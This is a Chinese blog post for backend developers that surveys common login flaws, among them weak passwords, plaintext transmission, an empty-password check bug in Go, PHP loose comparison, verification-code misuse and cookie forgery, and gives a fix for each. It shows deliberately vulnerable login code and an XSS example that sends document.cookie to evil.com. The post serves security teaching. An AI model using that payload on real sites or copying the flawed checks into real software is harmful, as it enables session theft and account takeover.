后端开发都应该了解的登录漏洞

登录是大部分网站都具备的一个功能,作为用户使用系统的第一步,如果登陆逻辑设计不合理,容易被攻击者利用,造成安全问题。

密码泄漏

弱口令

相信大家都知道弱口令是什么意思,用户为了方便,一般会使用123456、admin、passwd、password、123qwe等这些作为自己的常用密码,方便好记。黑客会对这些人们常用的密码建立破译字典,逐个尝试进行破解。另外,也建议大家不要用生日、手机号、姓名等相关信息作为密码,黑客在进行暴力破解前,会先收集用户的这些相关信息,录入破译字典中。

Have I Been Pwned上可以查到,"123456"这个密码已经被使用了24,230,577

解决办法

最直接的解决办法,当然就是用户自己设置复杂的密码了。但是我们也应该从开发的角度提高安全性。

强制提高密码强度

程序规定密码强度规则,用户设置密码时,判断密码的强度是否符合要求,不符合拒绝设置。

限制登陆频率

暴力破解原理是用破译字段里的密码不断尝试登陆,我们可以程序控制登录频率,比如1分钟限制5次尝试登陆,超过这个次数后,再尝试登陆需要手机号/邮箱验证码。提高暴力破解的难度。

密码明文传输

用户请求登陆时,将用户的账号和密码通过明文的方式直接传输到服务端,黑客利用中间人攻击等手段,就能容易截获到用户的账号密码。

解决办法

客户端和服务端之间的连接使用https加密传输。避免传输数据被第三方获取。

代码逻辑漏洞

空密码登录

密码输错登陆失败,不输密码直接登陆进去了,乍一看不可思议,但确实有这种情况。

func Login(ctx context.Context, userID string, passwdInput *PasswdInfo) (err error) {
	if passwdInput != nil && !passwordChk(userID, passwdInput.password) {
		return errors.New("密码错误")
	}
	// 成功通过
	...
}

大家别笑,真有遇到过这种代码, 可能是由于之前出现过passwdInput传入nil导致代码直接panic了,修改时没注意看逻辑,直接加了一层检查nil的判断,导致漏洞的出现。

"万能密码" - true

写PHP的同学肯定都了解"=="和"==="的区别。

if($passwdFromDb == $passwdInput)
{
    // 登陆成功
}

上面代码,如果passwdInput传入true,就能校验通过了。导致"万能密码"。所以同学们写的时候别吝啬那个"=",说不定能救你一命。

验证码漏洞

如今,登陆、修改密码越来越多都依赖手机/邮箱验证码了,有些甚至可以账号/手机号 + 验证码的免密登陆,验证码控制不当也会是一个漏洞重灾区。

验证码暴力破解

当登陆/修改密码时,服务端向我们手机发送一个6位的验证码。如果服务端没有对验证码做任何限制。攻击者就能对验证码进行暴力尝试。

处理办法

  1. 对验证码尝试次数/频率进行限制
  2. 控制验证码的有效期

A的验证码,修改B的用户信息

A修改用户信息时,需要验证码校验。后端将用户会话token当成key,value为验证码,在redis中存储。校验时,只通过token校验验证码,不校验要修改信息的目标账号,比如A在修改参数中的userID = B,就会导致修改了B的用户信息。造成漏洞。

解决办法

注意验证码与目标账号身份的匹配。

cookie漏洞

cookie是用于客户端存储会话状态的,使用不加注意容易导致漏洞产生。

使用cookie进行身份验证

  • 接口通过请求头中cookie的userID判断用户身份。可以直接修改cookie中的userID字段,伪造成任意其他用户。
  • 接口通过请求头中cookie的role字段判断用户权限,可以直接修改前端cookie中的role字段,对用户进行提权。

解决办法

使用服务端的session存储用户信息,接口进行身份验证时,可以通过cookie中的sessionID字段,找到对应session内容,获取到用户信息,再进行后续判断。

cookie未设置httponly

xss攻击是一种代码注入攻击,攻击者在网站上注入恶意代码,使之在用户访问网站时运行,从而获取用户的敏感信息。 注入恶意代码并不需要直接改网站源代码,比如用户在一个评论区写下

<script src=“http://evil.com” + escape(document.cookie)>

而程序没有对输入内容进行代码字符转义。其他人打开评论区时,就会自动运行这段恶意代码,将自己的cookie内容发送到http://evil.com,导致cookie的泄漏。

当使用session存储用户信息时,cookie中存放着sessionID,后端接口根据sessionID对应的session进行用户身份校验。如果cookie中的sessionID被攻击者获取,即可以伪造受害者身份登陆网站。

处理办法

开启cookie的httponly属性,开启后,无法通过js脚本读取到cookie信息。可以有效防止xss攻击窃取cookie内容。

大家还知道其他的什么登陆漏洞,欢迎分享探讨~

写在最后

喜欢本文的朋友,欢迎关注公众号「会玩code」,专注大白话分享实用技术

posted @ 2021-06-03 16:31  会玩code  阅读(1306)  评论(1编辑  收藏  举报